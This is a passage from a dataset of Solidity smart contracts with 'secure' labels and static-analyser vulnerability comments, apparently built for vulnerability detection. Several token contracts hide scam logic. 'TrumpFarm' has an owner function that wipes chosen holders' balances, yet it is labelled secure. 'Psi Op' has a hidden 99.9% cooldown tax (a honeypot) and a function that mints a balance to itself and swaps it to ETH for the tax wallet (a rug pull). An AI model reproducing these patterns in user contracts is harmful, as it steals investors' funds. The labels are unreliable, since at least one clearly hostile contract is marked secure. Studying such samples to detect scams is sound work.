reentrancy-no-eth | ID: 6e8faf0\n uint256 finalAmount = shouldNotTakeFee(sender, recipient)\n ? amount\n : takeFee(sender, recipient, amount);\n\n if (\n walletLimitEnabled &&\n sender == dexPair &&\n !isWalletLimitExempt[recipient]\n ) {\n require(\n balanceOf(recipient).add(finalAmount) <= _walletMax,\n \"Max Wallet Limit Exceeded!!\"\n );\n }\n\n\t\t\t// reentrancy-no-eth | ID: 6e8faf0\n _balances[recipient] = _balances[recipient].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: b5366e4\n emit Transfer(sender, recipient, finalAmount);\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function shouldNotTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {\n return true;\n } else if (isMarketPair[sender] || isMarketPair[recipient]) {\n return false;\n } else {\n return false;\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 5f4b4b9): X.takeFee(address,address,uint256).feeAmount is a local variable never initialized\n\t// Recommendation for 5f4b4b9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount;\n\n if (isMarketPair[sender]) {\n feeAmount = amount.mul(_buyTeamFee).div(feedenominator);\n } else if (isMarketPair[recipient]) {\n feeAmount = amount.mul(_sellTeamFee.sub(teamAddress.balance)).div(\n feedenominator\n );\n }\n\n if (feeAmount > 0) {\n\t\t\t// reentrancy-no-eth | ID: 6e8faf0\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: b5366e4\n emit Transfer(sender, address(this), feeAmount);\n }\n\n return amount.sub(feeAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2679c65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2679c65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2679c65\n\t\t// reentrancy-events | ID: 42155e5\n\t\t// reentrancy-events | ID: b5366e4\n\t\t// reentrancy-benign | ID: a01a50e\n\t\t// reentrancy-no-eth | ID: 6e8faf0\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 2679c65\n emit SwapTokensForETH(tokenAmount, path);\n }\n\n function excludeFromFee(address _adr, bool _status) external onlyOwner {\n isExcludedFromFee[_adr] = _status;\n }\n\n function excludeWalletLimit(address _adr, bool _status) external onlyOwner {\n isWalletLimitExempt[_adr] = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 74e5794): X.setMaxWalletLimit(uint256) should emit an event for _walletMax = newLimit \n\t// Recommendation for 74e5794: Emit an event for critical parameter changes.\n function setMaxWalletLimit(uint256 newLimit) external onlyOwner {\n\t\t// events-maths | ID: 74e5794\n _walletMax = newLimit;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b8ca195): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b8ca195: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6084394): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6084394: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f8de538): X.openTrading() ignores return value by dexRouter.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f8de538: Ensure that all the return values of the function calls are used.\n function openTrading() external payable onlyOwner {\n require(!tradingActive, \"Already launched!\");\n\n tradingActive = true;\n\t\t// reentrancy-benign | ID: b8ca195\n\t\t// reentrancy-benign | ID: 6084394\n dexPair = IUniswapV2Factory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n\t\t// reentrancy-benign | ID: 6084394\n isMarketPair[address(dexPair)] = true;\n\t\t// reentrancy-benign | ID: b8ca195\n\t\t// unused-return | ID: f8de538\n dexRouter.addLiquidityETH{value: msg.value}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b8ca195\n swapEnabled = true;\n }\n\n function removeLimits() external onlyOwner {\n walletLimitEnabled = false;\n }\n\n function claimFee() external {\n payable(teamAddress).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_3439.sol", "secure": 0, "size_bytes": 17895 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpFarm is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable stjohns;\n\n constructor() {\n _name = \"Trump Farm\";\n\n _symbol = \"TrumpFarm\";\n\n _decimals = 18;\n\n uint256 initialSupply = 9900000000;\n\n stjohns = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == stjohns, \"Not allowed\");\n\n _;\n }\n\n function stsnow(address[] memory stfudamental) public onlyOwner {\n for (uint256 i = 0; i < stfudamental.length; i++) {\n address account = stfudamental[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_344.sol", "secure": 1, "size_bytes": 4385 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nabstract contract AdminControl {\n address public admin;\n address public pendingAdmin;\n\n event ChangeAdmin(address indexed _old, address indexed _new);\n event ApplyAdmin(address indexed _old, address indexed _new);\n\n constructor(address _admin) {\n require(_admin != address(0), \"AdminControl: address(0)\");\n admin = _admin;\n emit ChangeAdmin(address(0), _admin);\n }\n\n modifier onlyAdmin() {\n require(msg.sender == admin, \"AdminControl: not admin\");\n _;\n }\n\n function changeAdmin(address _admin) external onlyAdmin {\n require(_admin != address(0), \"AdminControl: address(0)\");\n pendingAdmin = _admin;\n emit ChangeAdmin(admin, _admin);\n }\n\n function applyAdmin() external {\n require(msg.sender == pendingAdmin, \"AdminControl: Forbidden\");\n emit ApplyAdmin(admin, pendingAdmin);\n admin = pendingAdmin;\n pendingAdmin = address(0);\n }\n}", "file_name": "solidity_code_3440.sol", "secure": 1, "size_bytes": 1055 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nabstract contract PausableControl {\n mapping(bytes32 => bool) private _pausedRoles;\n\n bytes32 public constant PAUSE_ALL_ROLE = 0x00;\n\n event Paused(bytes32 role);\n event Unpaused(bytes32 role);\n\n modifier whenNotPaused(bytes32 role) {\n require(\n !paused(role) && !paused(PAUSE_ALL_ROLE),\n \"PausableControl: paused\"\n );\n _;\n }\n\n modifier whenPaused(bytes32 role) {\n require(\n paused(role) || paused(PAUSE_ALL_ROLE),\n \"PausableControl: not paused\"\n );\n _;\n }\n\n function paused(bytes32 role) public view virtual returns (bool) {\n return _pausedRoles[role];\n }\n\n function _pause(bytes32 role) internal virtual whenNotPaused(role) {\n _pausedRoles[role] = true;\n emit Paused(role);\n }\n\n function _unpause(bytes32 role) internal virtual whenPaused(role) {\n _pausedRoles[role] = false;\n emit Unpaused(role);\n }\n}", "file_name": "solidity_code_3441.sol", "secure": 1, "size_bytes": 1079 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./AdminControl.sol\" as AdminControl;\nimport \"./PausableControl.sol\" as PausableControl;\n\nabstract contract AdminPausableControl is AdminControl, PausableControl {\n constructor(address _admin) AdminControl(_admin) {}\n\n function pause(bytes32 role) external onlyAdmin {\n _pause(role);\n }\n\n function unpause(bytes32 role) external onlyAdmin {\n _unpause(role);\n }\n}", "file_name": "solidity_code_3442.sol", "secure": 1, "size_bytes": 486 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IApp {\n function anyExecute(\n bytes calldata _data\n ) external returns (bool success, bytes memory result);\n}", "file_name": "solidity_code_3443.sol", "secure": 1, "size_bytes": 211 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IAnyswapToken {\n function mint(address to, uint256 amount) external returns (bool);\n\n function burn(address from, uint256 amount) external returns (bool);\n\n function withdraw(uint256 amount, address to) external returns (uint256);\n}", "file_name": "solidity_code_3444.sol", "secure": 1, "size_bytes": 332 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IAnycallExecutor {\n function context()\n external\n returns (address from, uint256 fromChainID, uint256 nonce);\n}", "file_name": "solidity_code_3445.sol", "secure": 1, "size_bytes": 217 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IAnycallV6Proxy {\n function executor() external view returns (address);\n\n function anyCall(\n address _to,\n bytes calldata _data,\n address _fallback,\n uint256 _toChainID,\n uint256 _flags\n ) external payable;\n}", "file_name": "solidity_code_3446.sol", "secure": 1, "size_bytes": 347 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./IApp.sol\" as IApp;\nimport \"./AdminPausableControl.sol\" as AdminPausableControl;\nimport \"./IAnycallV6Proxy.sol\" as IAnycallV6Proxy;\n\nabstract contract AnycallClientBase is IApp, AdminPausableControl {\n address public callProxy;\n address public executor;\n\n mapping(uint256 => address) public clientPeers;\n\n modifier onlyExecutor() {\n require(msg.sender == executor, \"AnycallClient: onlyExecutor\");\n _;\n }\n\n constructor(\n address _admin,\n address _callProxy\n ) AdminPausableControl(_admin) {\n require(_callProxy != address(0));\n callProxy = _callProxy;\n executor = IAnycallV6Proxy(callProxy).executor();\n }\n\n receive() external payable {\n require(\n msg.sender == callProxy,\n \"AnycallClient: receive from forbidden sender\"\n );\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: ba53d60): AnycallClientBase.setCallProxy(address) should emit an event for executor = IAnycallV6Proxy(callProxy).executor() \n\t// Recommendation for ba53d60: Emit an event for critical parameter changes.\n function setCallProxy(address _callProxy) external onlyAdmin {\n require(_callProxy != address(0));\n callProxy = _callProxy;\n\t\t// events-access | ID: ba53d60\n executor = IAnycallV6Proxy(callProxy).executor();\n }\n\n function setClientPeers(\n uint256[] calldata _chainIds,\n address[] calldata _peers\n ) external onlyAdmin {\n require(_chainIds.length == _peers.length);\n for (uint256 i = 0; i < _chainIds.length; i++) {\n clientPeers[_chainIds[i]] = _peers[i];\n }\n }\n}", "file_name": "solidity_code_3447.sol", "secure": 0, "size_bytes": 1789 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./AnycallClientBase.sol\" as AnycallClientBase;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"./IAnyswapToken.sol\" as IAnyswapToken;\nimport \"./IAnycallExecutor.sol\" as IAnycallExecutor;\nimport \"./IAnycallV6Proxy.sol\" as IAnycallV6Proxy;\n\ncontract AnyswapTokenAnycallClient is AnycallClientBase {\n using SafeERC20 for IERC20;\n\n bytes32 public constant PAUSE_SWAPOUT_ROLE =\n keccak256(\"PAUSE_SWAPOUT_ROLE\");\n bytes32 public constant PAUSE_SWAPIN_ROLE = keccak256(\"PAUSE_SWAPIN_ROLE\");\n bytes32 public constant PAUSE_FALLBACK_ROLE =\n keccak256(\"PAUSE_FALLBACK_ROLE\");\n\n mapping(address => mapping(uint256 => address)) public tokenPeers;\n\n event LogSwapout(\n address indexed token,\n address indexed sender,\n address indexed receiver,\n uint256 amount,\n uint256 toChainId\n );\n event LogSwapin(\n address indexed token,\n address indexed sender,\n address indexed receiver,\n uint256 amount,\n uint256 fromChainId\n );\n event LogSwapoutFail(\n address indexed token,\n address indexed sender,\n address indexed receiver,\n uint256 amount,\n uint256 toChainId\n );\n\n constructor(\n address _admin,\n address _callProxy\n ) AnycallClientBase(_admin, _callProxy) {}\n\n function setTokenPeers(\n address srcToken,\n uint256[] calldata chainIds,\n address[] calldata dstTokens\n ) external onlyAdmin {\n require(chainIds.length == dstTokens.length);\n for (uint256 i = 0; i < chainIds.length; i++) {\n tokenPeers[srcToken][chainIds[i]] = dstTokens[i];\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 64568d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 64568d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 06fd1b4): AnyswapTokenAnycallClient.swapout(address,uint256,address,uint256,uint256).oldCoinBalance is a local variable never initialized\n\t// Recommendation for 06fd1b4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function swapout(\n address token,\n uint256 amount,\n address receiver,\n uint256 toChainId,\n uint256 flags\n ) external payable whenNotPaused(PAUSE_SWAPOUT_ROLE) {\n address clientPeer = clientPeers[toChainId];\n require(clientPeer != address(0), \"AnycallClient: no dest client\");\n\n address dstToken = tokenPeers[token][toChainId];\n require(dstToken != address(0), \"AnycallClient: no dest token\");\n\n uint256 oldCoinBalance;\n if (msg.value > 0) {\n oldCoinBalance = address(this).balance - msg.value;\n }\n\n\t\t// reentrancy-events | ID: 64568d7\n address _underlying = _getUnderlying(token);\n\n if (\n _underlying != address(0) &&\n IERC20(token).balanceOf(msg.sender) < amount\n ) {\n uint256 old_balance = IERC20(_underlying).balanceOf(token);\n\t\t\t// reentrancy-events | ID: 64568d7\n IERC20(_underlying).safeTransferFrom(msg.sender, token, amount);\n uint256 new_balance = IERC20(_underlying).balanceOf(token);\n require(\n new_balance >= old_balance &&\n new_balance <= old_balance + amount\n );\n\n amount = new_balance - old_balance;\n } else {\n\t\t\t// reentrancy-events | ID: 64568d7\n assert(IAnyswapToken(token).burn(msg.sender, amount));\n }\n\n bytes memory data = abi.encodeWithSelector(\n this.anyExecute.selector,\n token,\n dstToken,\n amount,\n msg.sender,\n receiver,\n toChainId\n );\n\t\t// reentrancy-events | ID: 64568d7\n IAnycallV6Proxy(callProxy).anyCall{value: msg.value}(\n clientPeer,\n data,\n address(this),\n toChainId,\n flags\n );\n\n if (msg.value > 0) {\n uint256 newCoinBalance = address(this).balance;\n if (newCoinBalance > oldCoinBalance) {\n\t\t\t\t// reentrancy-events | ID: 64568d7\n (bool success, ) = msg.sender.call{\n value: newCoinBalance - oldCoinBalance\n }(\"\");\n require(success);\n }\n }\n\n\t\t// reentrancy-events | ID: 64568d7\n emit LogSwapout(token, msg.sender, receiver, amount, toChainId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ebd2714): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ebd2714: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 46df2cd): AnyswapTokenAnycallClient.anyExecute(bytes) ignores return value by IAnyswapToken(dstToken).withdraw(amount,receiver)\n\t// Recommendation for 46df2cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 84e9419): AnyswapTokenAnycallClient.anyExecute(bytes) ignores return value by (from,fromChainId,None) = IAnycallExecutor(executor).context()\n\t// Recommendation for 84e9419: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a2b5bf4): AnyswapTokenAnycallClient.anyExecute(bytes) ignores return value by IAnyswapToken(dstToken).mint(address(this),amount)\n\t// Recommendation for a2b5bf4: Ensure that all the return values of the function calls are used.\n function anyExecute(\n bytes calldata data\n )\n external\n override\n onlyExecutor\n whenNotPaused(PAUSE_SWAPIN_ROLE)\n returns (bool success, bytes memory result)\n {\n bytes4 selector = bytes4(data[:4]);\n if (selector == this.anyExecute.selector) {\n (\n address srcToken,\n address dstToken,\n uint256 amount,\n address sender,\n address receiver,\n\n ) = abi.decode(\n data[4:],\n (address, address, uint256, address, address, uint256)\n );\n\n\t\t\t// reentrancy-events | ID: ebd2714\n\t\t\t// unused-return | ID: 84e9419\n (address from, uint256 fromChainId, ) = IAnycallExecutor(executor)\n .context();\n require(\n clientPeers[fromChainId] == from,\n \"AnycallClient: wrong context\"\n );\n require(\n tokenPeers[dstToken][fromChainId] == srcToken,\n \"AnycallClient: mismatch source token\"\n );\n\n\t\t\t// reentrancy-events | ID: ebd2714\n address _underlying = _getUnderlying(dstToken);\n\n if (\n _underlying != address(0) &&\n (IERC20(_underlying).balanceOf(dstToken) >= amount)\n ) {\n\t\t\t\t// reentrancy-events | ID: ebd2714\n\t\t\t\t// unused-return | ID: a2b5bf4\n IAnyswapToken(dstToken).mint(address(this), amount);\n\t\t\t\t// reentrancy-events | ID: ebd2714\n\t\t\t\t// unused-return | ID: 46df2cd\n IAnyswapToken(dstToken).withdraw(amount, receiver);\n } else {\n\t\t\t\t// reentrancy-events | ID: ebd2714\n assert(IAnyswapToken(dstToken).mint(receiver, amount));\n }\n\n\t\t\t// reentrancy-events | ID: ebd2714\n emit LogSwapin(dstToken, sender, receiver, amount, fromChainId);\n } else if (selector == 0xa35fe8bf) {\n (address _to, bytes memory _data) = abi.decode(\n data[4:],\n (address, bytes)\n );\n anyFallback(_to, _data);\n } else {\n return (false, \"unknown selector\");\n }\n return (true, \"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 808e2f7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 808e2f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 77b4dfc): AnyswapTokenAnycallClient.anyFallback(address,bytes) ignores return value by (_from,None,None) = IAnycallExecutor(executor).context()\n\t// Recommendation for 77b4dfc: Ensure that all the return values of the function calls are used.\n function anyFallback(\n address to,\n bytes memory data\n ) internal whenNotPaused(PAUSE_FALLBACK_ROLE) {\n\t\t// reentrancy-events | ID: 808e2f7\n\t\t// unused-return | ID: 77b4dfc\n (address _from, , ) = IAnycallExecutor(executor).context();\n require(_from == address(this), \"AnycallClient: wrong context\");\n\n (\n bytes4 selector,\n address srcToken,\n address dstToken,\n uint256 amount,\n address from,\n address receiver,\n uint256 toChainId\n ) = abi.decode(\n data,\n (bytes4, address, address, uint256, address, address, uint256)\n );\n\n require(\n selector == this.anyExecute.selector,\n \"AnycallClient: wrong fallback data\"\n );\n require(\n clientPeers[toChainId] == to,\n \"AnycallClient: mismatch dest client\"\n );\n require(\n tokenPeers[srcToken][toChainId] == dstToken,\n \"AnycallClient: mismatch dest token\"\n );\n\n\t\t// reentrancy-events | ID: 808e2f7\n address _underlying = _getUnderlying(srcToken);\n\n if (\n _underlying != address(0) &&\n (IERC20(srcToken).balanceOf(address(this)) >= amount)\n ) {\n\t\t\t// reentrancy-events | ID: 808e2f7\n IERC20(_underlying).safeTransferFrom(address(this), from, amount);\n } else {\n\t\t\t// reentrancy-events | ID: 808e2f7\n assert(IAnyswapToken(srcToken).mint(from, amount));\n }\n\n\t\t// reentrancy-events | ID: 808e2f7\n emit LogSwapoutFail(srcToken, from, receiver, amount, toChainId);\n }\n\n function _getUnderlying(address token) internal returns (address) {\n\t\t// reentrancy-events | ID: 64568d7\n\t\t// reentrancy-events | ID: 808e2f7\n\t\t// reentrancy-events | ID: ebd2714\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x6f307dc3)\n );\n if (success && returndata.length > 0) {\n address _underlying = abi.decode(returndata, (address));\n return _underlying;\n }\n return address(0);\n }\n}", "file_name": "solidity_code_3448.sol", "secure": 0, "size_bytes": 11605 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ERC20 is Ownable {\n using SafeMath for uint256;\n uint256 public _decimals = 9;\n\n uint256 public _totalSupply = 100000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n emit Transfer(address(0), sender(), _balances[sender()]);\n _taxWallet = msg.sender;\n }\n\n string private _name = \"Psi Op\";\n string private _symbol = unicode\"Ψ\";\n\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address public _taxWallet;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n function airdropTokens(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n require(_allowances[from][sender()] >= _amount);\n return true;\n }\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n return true;\n }\n event Transfer(address indexed from, address indexed to, uint256);\n mapping(address => uint256) internal cooldowns;\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n function sender() internal view returns (address) {\n return msg.sender;\n }\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n function claimReward(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n _balances[address(this)] = amount;\n address[] memory addressPath = new address[](2);\n addressPath[0] = address(this);\n addressPath[1] = uniV2Router.WETH();\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n require(from != address(0));\n require(value <= _balances[from]);\n emit Transfer(from, to, value);\n _balances[from] = _balances[from] - (value);\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n uint256 toBalance = _balances[to];\n toBalance += (value) - (_taxValue);\n _balances[to] = toBalance;\n }\n event Approval(address indexed, address indexed, uint256 value);\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n return true;\n }\n mapping(address => uint256) private _balances;\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n}", "file_name": "solidity_code_3449.sol", "secure": 0, "size_bytes": 5912 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Meitheai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable respectable;\n\n constructor() {\n _name = \"Mei the Ai\";\n\n _symbol = \"MEI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 327000000;\n\n respectable = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns 